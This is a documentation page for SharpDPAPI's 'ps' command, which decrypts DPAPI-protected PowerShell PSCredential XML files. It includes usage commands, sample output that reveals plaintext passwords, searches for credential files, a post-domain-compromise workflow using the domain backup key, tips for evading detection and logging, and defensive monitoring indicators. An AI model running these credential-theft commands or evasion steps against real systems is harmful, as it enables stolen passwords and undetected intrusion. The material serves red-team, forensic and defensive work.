ps - SpecterOps Open Source

Overview

The ps command decrypts exported PowerShell PSCredential objects stored in CLIXML format. These files contain DPAPI-encrypted passwords that PowerShell administrators use to store credentials in scripts.

PowerShell’s Export-CLIXML saves PSCredential objects with passwords encrypted using DPAPI, making them portable between sessions but tied to the user account.

Basic Usage

# Decrypt with CryptUnprotectData (unprivileged)
SharpDPAPI.exe ps /target:C:\Path\To\cred.xml /unprotect

# Decrypt with domain backup key
SharpDPAPI.exe ps /target:C:\Path\To\cred.xml /pvk:key.pvk

# Decrypt with masterkey mappings
SharpDPAPI.exe ps /target:C:\Path\To\cred.xml {GUID}:SHA1

# Decrypt with user password
SharpDPAPI.exe ps /target:C:\Path\To\cred.xml /password:Password123!

The /target:FILE.xml parameter is required for the ps command. You must specify which credential XML file to decrypt.

Command Arguments

Required Arguments

Argument	Description
`/target:FILE.xml`	Required - Path to PSCredential CLIXML file

Decryption Methods

CryptUnprotectData
Domain Backup Key
Masterkey Mappings
User Credentials

# Use Windows API for decryption (unprivileged)
SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect

This method works without masterkeys if run from the user context who exported the credential. No LSASS access required!

The /server argument is not applicable to the ps command since you must specify a specific target file.

How PowerShell Credential Export Works

When administrators export PowerShell credentials:

Create PSCredential

$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $SecPassword)

Export to XML

$Cred | Export-CLIXML C:\Temp\cred.xml

This saves the credential with DPAPI-encrypted password

Import for Use

$ImportedCred = Import-CLIXML C:\Temp\cred.xml
# Password automatically decrypted by Windows

Only works for the user who exported it

Example: Using /unprotect

# Create and export credential
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXML C:\Temp\cred.xml

# Decrypt with SharpDPAPI
SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect

Output:

[*] Action: Describe PSCredential .xml

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 11:53:09 AM
    Modified         : 7/25/2019 11:53:09 AM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

Example: Using Masterkey Mappings

# Create and export credential
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXML C:\Temp\cred.xml

# Decrypt with masterkeys
SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"

Output:

[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 12:04:12 PM
    Modified         : 7/25/2019 12:04:12 PM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

Example: Using Domain Backup Key

# Create and export credential
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXML C:\Temp\cred.xml

# Decrypt with backup key
SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...

Output:

[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 12:04:12 PM
    Modified         : 7/25/2019 12:04:12 PM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

Finding PSCredential XML Files

PowerShell credential files can be anywhere, but common locations include: Script Directories:

%USERPROFILE%\Documents\
%USERPROFILE%\Scripts\
C:\Scripts\
Network shares

Search Commands:

# PowerShell - Search for credential XML files
Get-ChildItem -Path C:\Users\ -Recurse -Filter *.xml -ErrorAction SilentlyContinue |
  Select-String -Pattern "PSCredential" -List |
  Select-Object Path

# CMD - Find XML files
dir C:\*.xml /s

Script Analysis:

# Look for Import-CLIXML in scripts
Get-ChildItem -Path C:\Scripts\ -Recurse -Filter *.ps1 |
  Select-String -Pattern "Import-CLIXML" -List

Common Scenarios

Unprivileged Execution (Recommended)

Run as the user who created the credential:

# No masterkeys or elevation needed
SharpDPAPI.exe ps /target:C:\Scripts\admin-cred.xml /unprotect

Benefits:

No LSASS access required
No elevation needed
Minimal detection footprint

Post-Domain Compromise

After obtaining domain backup key:

# 1. Retrieve backup key
SharpDPAPI.exe backupkey /file:key.pvk

# 2. Find credential XML files
# Use file system search

# 3. Decrypt found credentials
SharpDPAPI.exe ps /target:C:\Scripts\service-account.xml /pvk:key.pvk
SharpDPAPI.exe ps /target:C:\Automation\db-cred.xml /pvk:key.pvk

Script Analysis Workflow

Analyze scripts to find and decrypt credentials:

# 1. Find PowerShell scripts
Get-ChildItem -Recurse -Filter *.ps1

# 2. Look for Import-CLIXML usage
Select-String -Pattern "Import-CLIXML" -Path *.ps1

# 3. Identify credential file paths
# Check script contents for file paths

# 4. Decrypt discovered credential files
SharpDPAPI.exe ps /target:C:\Path\Found\In\Script.xml /pvk:key.pvk

Offline/Forensic Analysis

Analyzing copied credential files:

# Decrypt with backup key
SharpDPAPI.exe ps /target:C:\Evidence\cred.xml /pvk:key.pvk

# Decrypt with known masterkey
SharpDPAPI.exe ps /target:C:\Evidence\cred.xml {GUID}:SHA1

Why Administrators Use Credential Export

Automation Scripts

Scheduled tasks requiring credentials
Unattended script execution
Service account password storage
Database connection credentials

Configuration Management

Deployment scripts
Configuration automation
Batch operations
Remote management tasks

Development/Testing

Test credentials in development
Lab environment automation
Demo/training scripts

Storing credentials in CLIXML is convenient but insecure. They’re only as protected as the user’s account.

Detection Considerations

Host-Based Indicators:

Reading PowerShell CLIXML files
Non-PowerShell processes accessing .xml credential files
Enumeration of script directories
Pattern matching for PSCredential XML structure

Defensive Monitoring:

Monitor access to common script directories
Alert on CLIXML file access by suspicious processes
Track credential export operations (Export-CLIXML)
Detect bulk XML file enumeration
Monitor for LSASS access (when not using /unprotect)

PowerShell Logging:

Event ID: 4104 (Script Block Logging)
Event ID: 4103 (Module Logging)
Look for: Export-CLIXML, Import-CLIXML cmdlets

credentials

Decrypt Credential Manager files

blob

Decrypt arbitrary DPAPI blobs

masterkeys

Decrypt user masterkeys

backupkey

Retrieve domain backup key

Tips

Finding Credentials

Search common script directories
Look for .ps1 files using Import-CLIXML
Check scheduled tasks for PowerShell scripts
Examine automation frameworks (Jenkins, Azure DevOps)
Review configuration management tools

OPSEC Considerations

Prefer /unprotect when running as target user
Target specific files to avoid bulk enumeration
Redirect output to file with /consoleoutfile
Clean up temporary files after use
Avoid triggering PowerShell logging

Troubleshooting

Decryption fails with /unprotect:

Must run from user context who exported credential
Try using masterkeys or backup key instead
Verify you’re running as correct user
File may be corrupted or invalid format

Invalid XML format:

File may not be a PSCredential export
Could be different type of XML
Verify file contents include DPAPI blob
Check for SecureString element in XML

Masterkey GUID not found:

Extract masterkey from user’s profile
Use domain backup key for decryption
Masterkey may have been rotated/deleted

Getting Started

User Triage Commands

Machine Triage Commands

Utility Commands

SharpChrome

ps

Overview

Basic Usage

Command Arguments

Required Arguments

Decryption Methods

How PowerShell Credential Export Works

Example: Using /unprotect

Example: Using Masterkey Mappings

Example: Using Domain Backup Key

Finding PSCredential XML Files

Common Scenarios

Why Administrators Use Credential Export

Detection Considerations

credentials

blob

masterkeys

backupkey

Tips

Getting Started

User Triage Commands

Machine Triage Commands

Utility Commands

SharpChrome

​Overview

​Basic Usage

​Command Arguments

​Required Arguments

​Decryption Methods

​How PowerShell Credential Export Works

​Example: Using /unprotect

​Example: Using Masterkey Mappings

​Example: Using Domain Backup Key

​Finding PSCredential XML Files

​Common Scenarios

​Why Administrators Use Credential Export

​Detection Considerations

​Related Commands

credentials

blob

masterkeys

backupkey

​Tips

Overview

Basic Usage

Command Arguments

Required Arguments

Decryption Methods

How PowerShell Credential Export Works

Example: Using /unprotect

Example: Using Masterkey Mappings

Example: Using Domain Backup Key

Finding PSCredential XML Files

Common Scenarios

Why Administrators Use Credential Export

Detection Considerations

Related Commands

Tips